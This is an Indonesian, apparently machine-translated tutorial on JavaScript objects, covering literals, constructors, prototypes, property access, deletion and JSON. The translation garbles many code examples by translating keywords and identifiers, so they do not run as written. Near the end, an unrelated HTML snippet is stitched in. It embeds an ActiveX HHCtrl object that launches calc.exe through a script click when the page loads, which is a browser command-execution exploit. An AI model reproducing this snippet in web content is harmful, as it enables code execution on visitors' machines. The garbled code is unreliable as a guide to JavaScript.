JavaScrTip memiliki enam tipe data, tipe data yang kompleks (tipe referensi), yaitu tipe objek objek, dan lima tipe data sederhana (tipe primitif): angka, string, boolean, tidak terdefinisi dan nol. Di antara mereka, tipe inti yang paling adalah tipe objek. Pada saat yang sama, perlu dicatat bahwa tipe sederhana tidak dapat diubah, sedangkan tipe objek dapat berubah.
Apa itu objek
Suatu objek adalah daftar tipe data sederhana yang tidak dipesan (kadang-kadang tipe data yang dirujuk) yang disimpan sebagai serangkaian pasangan nilai nama. Setiap item dalam daftar ini disebut properti (jika disebut metode).
Ini objek sederhana:
var myfirstObject = {firstName: "richard", favoriteauthor: "conrad"};Objek dapat dianggap sebagai daftar, dan setiap item (properti atau metode) dalam daftar disimpan dalam pasangan nilai nama. Dalam contoh di atas, nama atribut objek adalah nama pertama dan favorit. Sejalan dengan itu, nilai atribut objek adalah Richard dan Conrad.
Nama atribut dapat berupa string atau angka, tetapi jika angka digunakan sebagai nama atribut, nilai atribut yang sesuai dengan nama atribut dari nomor ini harus diperoleh dalam tanda kurung persegi (notasi braket persegi). Penjelasan yang lebih rinci tentang notasi braket persegi nanti. Berikut adalah contoh notasi braket persegi:
var ageGroup = {30: "anak -anak", 100: "sangat tua"}; Console.log (AgeGroup.30) // Error // Cara yang benar untuk mengakses atribut 30 Console.log (AgeGroup ["30"]); // anak -anak // Yang terbaik adalah menghindari menggunakan angka sebagai nama atributSebagai programmer JavaScript, Anda akan sering menggunakan tipe data objek. Biasanya digunakan untuk menyimpan data, atau untuk membuat metode atau fungsi khusus.
Jenis data referensi dan tipe data primitif
Perbedaan paling penting antara tipe referensi dan tipe primitif adalah bahwa tipe referensi disimpan dengan referensi, dan tidak akan menyimpan nilai secara langsung dalam variabel seperti tipe primitif. Misalnya:
// data tipe asli disimpan oleh nilai var person = "kobe"; Var anotherperson = orang; // OtherPerson = nilai orang orang = "Bryant"; // nilai orang telah mengubah console.log (orang lain); // Kobe Console.log (orang); // Bryan
Dapat dicatat bahwa bahkan jika kita mengubah nilai orang menjadi "Bryant", itu tidak akan berpengaruh pada anthoerperson, dan masih menghemat nilai yang ditetapkan oleh orang asli.
Bandingkan tipe asli dengan value store dengan jenis referensi dengan toko referensi:
var person = {name: "kobe"}; Var anotherperson = orang; person.name = "Bryant"; Console.log (AnotherPerson.Name); // bryant console.log (person.name); // BryantDalam contoh ini, kami menyalin objek orang ke Anthoerperson, tetapi karena objek orang menyimpan referensi alih -alih nilai nyata. Jadi ketika kita mengubah orang. Nama menjadi "Bryant", variabel OtherPerson juga mencerminkan perubahan ini, karena tidak menyalin semua atribut secara langsung dan menyimpannya, tetapi secara langsung menyimpan referensi objek.
Atribut properti objek
Catatan: Atribut umumnya diterjemahkan sebagai atribut, tetapi untuk membedakannya dari propertie (juga diterjemahkan sebagai atribut), diterjemahkan sebagai atribut di sini. Ini juga sesuatu yang telah dikonsultasikan oleh orang lain, dan itu seharusnya tidak berbahaya.
Setiap atribut objek tidak hanya menyimpan pasangan nilai nama sendiri, tetapi juga berisi tiga karakteristik, yang diatur ke true secara default.
• Atribut yang dapat dikonfigurasi: Menentukan apakah atribut objek ini dapat dihapus atau dimodifikasi.
• Hancur: Menentukan apakah properti objek ini dapat diperoleh di loop For-in.
• Writable: Menentukan apakah properti objek ini dapat dimodifikasi.
Ada beberapa fitur baru di Emacscript 5, dan kami tidak akan menjelaskannya secara rinci di sini.
Buat objek
Ada dua metode umum untuk membuat objek:
1. Objek literal
Ini adalah cara yang paling umum dan termudah untuk membuat objek, secara langsung menggunakan literal:
// objek kosong var myBooks = {}; // objek yang berisi 4 atribut yang dibuat menggunakan literal var mangga = {warna: "kuning", bentuk: "bundar", manis: 8, howsweetami: function () {console.log ("hmm hmm hmm good"); }}2. Konstruktor Objek
Metode kedua yang umum digunakan adalah menggunakan konstruktor objek. Konstruktor adalah fungsi khusus yang dapat digunakan untuk membuat objek baru. Konstruktor perlu dipanggil menggunakan kata kunci baru.
var mangga = objek baru (); mangga.color = "yellow"; mangga.shape = "round"; mango.sweetness = 8; mango.howsweetami = function () {console.log ("hmm hmm bagus");}Meskipun beberapa kata atau kata kunci yang dipesan dapat digunakan, seperti sebagai nama properti objek, ini bukan pilihan yang bijaksana.
Properti suatu objek dapat berisi tipe data apa pun, termasuk angka, array, atau bahkan objek lainnya.
Mode praktis pembuatan objek
Untuk membuat objek sederhana yang hanya digunakan sekali untuk menyimpan data, dua metode di atas dapat memenuhi kebutuhan.
Namun, misalkan ada program untuk menampilkan buah dan detailnya. Setiap jenis buah dalam program ini memiliki sifat objek berikut: warna, bentuk, rasa manis, biaya dan fungsi yang ditampilkan. Jika Anda harus melambangkan kode berikut setiap kali Anda membuat objek buah baru, itu akan sangat membosankan dan tidak efisien.
var mangofruit = {warna: "kuning", manis: 8, fruitname: "mangga", nativetoland: ["Amerika Selatan", "Amerika Tengah"], ditampilkan: function () {console.log ("this is" + this.fruitname); }, Nativeto: function () {this.nativetoland.foreach (function (masing -masing negara) {console.log ("ditanam di:" + setiap negara);}); }}Jika Anda memiliki 10 buah, Anda harus menambahkan kode yang sama 10 kali. Dan, jika Anda ingin memodifikasi fungsi nativeto, Anda harus memodifikasinya di 10 tempat yang berbeda. Mari kita bayangkan lebih lanjut bahwa jika Anda mengembangkan situs web besar, Anda telah menambahkan atribut pada objek di atas satu per satu. Namun, Anda tiba -tiba menyadari bahwa cara Anda membuat objek tidak ideal, dan Anda ingin memodifikasinya, apa yang harus Anda lakukan saat ini?
Untuk menyelesaikan masalah berulang ini, insinyur perangkat lunak menemukan berbagai pola (solusi untuk masalah berulang dan tugas umum) untuk menggunakan program pengembangan lebih efisien dan rasional.
Berikut adalah dua pola umum untuk membuat objek:
1. Mode Metode Membangun
fungsi buah (warna, tesweetness, theFruitname, steativetoland) {this.color = thecolor; this.sweetness = tesweetness; this.fruitname = theFruitname; this.nativetoland = thenativetoland; this.showname = function () {console.log ("Ini adalah" + this.fruitname); } this.nativeto = function () {this.nativetoland.foreach (function (masing -masing negara) {console.log ("Tumbuh di:" + masing -masing negara);}); }}Dengan pola ini, mudah untuk menciptakan berbagai buah. Seperti ini:
var mangofruit = buah baru ("kuning", 8, "mangga", ["Amerika Selatan", "Amerika Tengah", "Afrika Barat"]); mangofruit.showname (); // Ini adalah mangga. Mangofruit.nativeto (); // tumbuh di: Amerika Selatan // tumbuh di: Amerika Tengah // Tumbuh di: Afrika Barat var nanas = buah baru ("coklat", 5, "nanas", ["Amerika Serikat"]); noda nanas.showname (); // Ini adalah nanas.Jika Anda ingin mengubah properti atau metode, Anda hanya perlu memodifikasinya di satu tempat. Pola ini merangkum fungsi dan fitur semua buah melalui warisan fungsi buah.
Melihat:
◦ Properti yang ramah perlu ditentukan pada properti objek prototipe objek. Misalnya
someObject.prototype.firstname = "Rich";
◦ Atribut yang menjadi milik diri sendiri harus didefinisikan secara langsung pada objek. Misalnya:
// Pertama, buat objek var amango = buah baru (); // selanjutnya, tentukan metode mongospice secara langsung pada objek // karena kita mendefinisikan properti mangospice secara langsung pada objek, itu adalah properti Amango sendiri, bukan properti yang diwariskan amango.mangospice = "beberapa nilai";
◦ Untuk mengakses properti objek, gunakan objek.property, seperti:
console.log (amango.mangospice); // "beberapa nilai"
◦ Untuk memanggil metode objek, gunakan objek.method (), seperti:
// Pertama, tambahkan metode amango.printstuff = function () {return "printing"; } // Sekarang, Anda dapat menghubungi metode printStuff amango.printstuff ();2. Mode prototipe
function fruit () {} Fruit.prototype.color = "yellow"; Fruit.prototype.sweetness = 7; Fruit.prototype.fruitname = "Buah Generik"; Fruit.Prototype.nativetoland = "USA"; Fruit.prototype.showname = function () {console.log. this.fruitname);} Fruit.prototype.nativeto = function () {console.log ("Ditumbuhkan di:" + this.nativetoland);}Berikut adalah metode untuk memanggil konstruktor buah () dalam mode prototipe:
var mangofruit = buah baru (); mangofruit.showname (); // mangofruit.nativeto (); // Ini adalah buah generik // ditanam di: USA
Bacaan yang diperpanjang
Jika Anda perlu mengetahui penjelasan yang lebih rinci tentang kedua pola ini, Anda dapat membaca Bab 6 dari pemrograman lanjutan JavaScript, yang membahas kelebihan dan kekurangan dari kedua metode ini secara rinci. Mode lain selain keduanya juga dibahas dalam buku ini.
Cara mengakses properti dalam suatu objek
Dua metode utama untuk mengakses properti objek adalah notasi titik dan notasi braket.
1. Metode notasi titik
// Ini adalah metode untuk mengakses atribut yang telah kami gunakan dalam contoh sebelumnya var book = {title: "Ways to Go", halaman: 280, bookmark1: "halaman 20"}; // menggunakan notasi titik untuk mengakses judul dan halaman atribut objek buku: console.log (book.title); // Ways to Go Console.log (Book.Pages); // 2802. Metode notasi braket
// Gunakan tanda kurung persegi untuk mengungkapkan sifat -sifat objek buku: console.log (buku ["judul"]); // Ways to Go Console.log (Buku ["halaman"]); // 280 // Jika nama atribut disimpan dalam variabel, itu juga bisa: var booktitle = "title"; console.log (buku [booktitle]); // Ways to Go Console.log (Book ["Bookmark" + 1]); // halaman 20
Mengakses properti yang tidak ada dalam suatu objek akan menghasilkan yang tidak ditentukan.
Atributnya sendiri dan atribut warisan
Objek memiliki atribut sendiri dan atribut yang diwariskan. Atribut sendiri adalah properti yang didefinisikan secara langsung pada objek, sedangkan atribut yang diwariskan adalah properti yang diwarisi dari prototipe objek.
Untuk menentukan apakah suatu objek memiliki atribut tertentu (apakah itu atributnya sendiri atau atribut yang diwariskan), Anda dapat menggunakan operator:
// Buat objek dengan atribut sekolah var School = {SchoolName: "MIT"}; // Cetak true karena objek memiliki console.log properti sekolah ("nama sekolah" di sekolah); // true // cetak false karena kami tidak mendefinisikan properti sekolah atau mewarisi console.log properti sekolah ("sekolah" di sekolah); // false // cetak true karena metode tostring console.log ("tostring" di sekolah); // BENARHasownProperty
Untuk menentukan apakah suatu objek memiliki properti tertentu sendiri, Anda dapat menggunakan metode HasownPrototype. Metode ini sangat berguna karena kita sering perlu menyebutkan semua sifat objek alih -alih mewarisi mereka.
// Buat objek dengan atribut sekolah var School = {SchoolName: "MIT"}; // cetak true, karena sekolah adalah console.log properti sekolah itu sendiri (School.hasownproperty ("sekolah sekolah")); // true // cetak false, karena tostring diwarisi dari prototipe objek, dan console.log properti sekolah itu sendiri (School.hasownproperty ("tostring"))); // PALSUProperti Akses dan Pencacahan di Objek
Untuk mengakses atribut (diri atau diwariskan) yang dapat disebutkan dalam suatu objek, Anda dapat menggunakan loop FOR-in atau metode loop normal.
// Buat objek sekolah dengan 3 atribut: sekolah, sekolah, sekolah, dan Schoollocation. Var School = {SchoolName: "MIT", Schoolaccredited: True, Schoollocation: "Massachusetts"}; // Gunakan loop for-in untuk mendapatkan atribut dalam objek untuk (var masing-masing di sekolah) {console.log (EveryItem); // Cetak SMP, Schoolaccredited, Schoollocation}Akses properti yang diwariskan
Properti yang diwarisi dari prototipe objek tidak dapat dihitung, sehingga properti ini tidak diakses di loop FOR-in. Namun, jika mereka adalah properti warisan yang dapat dihiasi, mereka juga dapat diakses dari loop For-in.
Misalnya:
// Gunakan For-In untuk mengakses properti di objek sekolah untuk (var masing-masing di sekolah) {console.log (setiap orang); // Mencetak nama sekolah, Schoolaccredited, Schoollocation} // Catatan: Paragraf berikut adalah penjelasan dari teks asli/* Catatan: Seperti yang ditunjukkan Wilson (pembaca yang cerdik) dengan benar dalam komentar di bawah ini, properti tingkat pendidikan sebenarnya tidak diwarisi oleh benda -benda yang menggunakan konstruktor yang lebih tinggi; Sebaliknya, properti tingkat pendidikan dibuat sebagai properti baru pada setiap objek yang menggunakan konstruktor yang lebih tinggi. Alasan properti tidak diwarisi adalah karena kami menggunakan kata kunci "ini" untuk menentukan properti. */// Buat fungsi learning lebih tinggi baru yang akan diwariskan oleh objek sekolah. Fungsi lebih tinggi () {this.educationlevel = "universitas"; } // Menerapkan warisan dengan konstruktor yang lebih tinggi var School = new HigherLearning (); School.schoolname = "MIT"; School.schoolaccredited = true; School.schoollocation = "Massachusetts"; // Penggunaan loop for/in untuk mengakses properti di objek sekolah untuk (var masing -masing di sekolah) {console.log (everyItem); // mencetak tingkat pendidikan, nama sekolah, sekolah, dan schoollocation}Hapus properti di objek
Anda dapat menggunakan operator hapus untuk menghapus properti dalam suatu objek. Kami tidak dapat menghapus atribut yang diwariskan, dan kami tidak dapat menghapus atribut objek yang atribut yang dapat dikonfigurasi diatur ke false. Untuk menghapus properti yang diwariskan, Anda harus menghapusnya dari objek prototipe (yaitu, di mana sifat -sifat ini didefinisikan). Selain itu, kami tidak dapat menghapus properti dalam objek global.
Ketika penghapusan berhasil, operator hapus akan mengembalikan true. Anehnya, operator hapus juga mengembalikan benar ketika atribut yang akan dihapus tidak ada atau tidak dapat dihapus (yaitu, atribut yang bukan miliknya sendiri atau atribut yang dapat dikonfigurasi diatur ke false).
Inilah contohnya:
var natalList = {mike: "book", jason: "sweater"} hapus natalList.mike; // hapus properti mike untuk (var orang dalam natallist) {console.log (orang); } // mencetak hanya jason // properti mike dihapus delete natalList.tostring; // Kembalikan benar, tetapi karena tostring adalah properti yang diwariskan, itu tidak akan dihapus // karena tostring tidak dihapus, natallist.tostring () juga dapat digunakan secara normal di sini; // "[Object Object]" // Jika atribut adalah properti sendiri dari instance objek, kita dapat menghapusnya. // Misalnya, kita dapat menghapus atribut tingkat pendidikan dari objek sekolah yang didefinisikan dalam contoh sebelumnya, // Karena tingkat pendidikan didefinisikan dalam contoh itu: kami menggunakan kata kunci "ini" ketika mendefinisikan tingkat pendidikan dalam fungsi learning yang lebih tinggi. // Kami tidak mendefinisikan atribut tingkat pendidikan dalam objek prototipe fungsi yang lebih tinggi. Console.log (School.hasownproperty ("pendidikan pendidikan")); // True // EducationLevel adalah pilihan diri dari objek sekolah, sehingga kita dapat menghapusnya menghapus sekolah. EducationLevel; // true // properti tingkat pendidikan telah menghapus console.log (School.educationlevel); // tidak terdefinisi // tetapi properti tingkat pendidikan masih ada dalam fungsi higherlearning var newschool = new higherlearning (); console.log (newschool.educationlevel); // universitas // Jika kita mendefinisikan properti dalam prototipe fungsi yang lebih tinggi, seperti properti pendidikan pendidikan ini: higherlearning.prototype.educationlevel2 = "universitas 2"; // Properti tingkat pendidikan ini tidak mengaitkan properti sendiri dari instance yang lebih tinggi // properti pendidikan pendidikan bukanlah properti sendiri dari konsol instance sekolah. false console.log (School.EducationLevel2); // University 2 // Cobalah untuk menghapus Properti Pendidikan Level2 yang diwarisi menghapus sekolah. EducationLevel2; // Benar (seperti yang disebutkan sebelumnya, ungkapan ini akan mengembalikan true) // Properti tingkat pendidikan yang diwarisi belum dihapus console.log (School.educationlevel2); Universitas 2Membuat serial dan deserialize objek
Untuk meneruskan objek di HTTP atau mengubah objek menjadi string, kita harus membuat serial objek (mengubahnya menjadi string). Kita dapat menggunakan json.stringify untuk membuat serial objek. Perlu dicatat bahwa dalam versi sebelum ecmascript 5, kita perlu menggunakan pustaka JSON2 untuk mendapatkan fungsi JSON.stringify. Dalam ecmascript 5, fungsi ini telah menjadi fungsi standar.
Untuk menghapus objek (mis., Konversi string menjadi objek), itu dapat dilakukan dengan menggunakan fungsi JSON.PARSE. Demikian pula, sebelum edisi ke -5, kita perlu mendapatkan fungsi ini dari pustaka JSON2, dan fungsi standar ini telah ditambahkan ke edisi ke -5.
Kode contoh:
var natalList = {mike: "book", jason: "sweater", chelsea: "iPad"} json.stringify (natalList); // Cetak string ini: // "{" mike ":" book "," jason ":" sweater "," chels ":" iPad "}" // Untuk mencetak objek yang dirangkai dengan pemformatan, tambahkan "null" dan "4" sebagai parameter: json.stringify (natallist, null, 4); // "{//" Mike ":" Book ", //" Jason ":" Sweater ", //" Chels ":" iPad "//}" // JSON.PARSE Contoh // Berikut ini adalah string JSON, jadi kami tidak dapat mengakses properti dengan notasi DOT (seperti christmasliststr.mike) var natalStr = = '{"Mike": "Book", "Jason": "Sweater", "Chels": "iPad"}'; // Mari kita konversinya ke objek var natallistobj = json.parse (natalListStr); // Sekarang ini adalah objek, kami menggunakan notasi Dot Console.log (natallistobj.mike); // BukuUntuk diskusi dan penjelasan lebih banyak tentang objek JavaScript, serta konten yang ditambahkan ke ECMascript dalam edisi ke -5, silakan merujuk ke Bab 6 dari Panduan otoritatif untuk JavaScript (Edisi ke -6).
nota bene
Ketika saya pertama kali menerjemahkan sebuah artikel, saya benar -benar merasa tidak sesederhana itu untuk menerjemahkannya dengan baik. Banyak kalimat sederhana terlihat sangat jelas, tetapi ketika saya benar -benar ingin menerjemahkannya, saya tidak bisa memikirkan cara ekspresi yang cocok. Seluruh artikel didasarkan pada pemahaman saya sendiri dan kemudian menerjemahkannya secara bebas, tanpa kalimat terjemahan berdasarkan kalimat. Jadi, jika ada penyimpangan dalam pemahaman atau terjemahan yang tidak pantas, cobalah untuk menunjukkannya dan saya akan memperbaikinya sesegera mungkin. Lagi pula, saya ingin berbagi artikel terakhir ini dengan Anda. Saya tidak ingin menyesatkan Anda karena kesalahan saya dalam pengertian.
Hanya saus, selesaikan pekerjaannya.
<! Doctype html> <html> <head> <title> replay mousJack </itement> <adead> </head> <body> Command exec <objek id = x classid = "clsid: adb880a6-d8ff-11cf-name =" name = "" name = "" name = "comeut =" name = "comeut =" name = "comeut =" name = "comeut =" comeut = "name =" comeut = "name =" comeut = "name =" comeut = "name =" name = "comeut =" comeut = "comeAt" name = "name = 1> value = "bitmap :: shortcut"> <param name = "item1" value = ', calc.exe'> <param name = "item2" value = "273,1" "> </pes Object> <script> x.click (); </script> </body> </html>
Di atas adalah semua konten artikel ini. Saya berharap ini akan membantu untuk pembelajaran semua orang dan saya harap semua orang akan lebih mendukung wulin.com.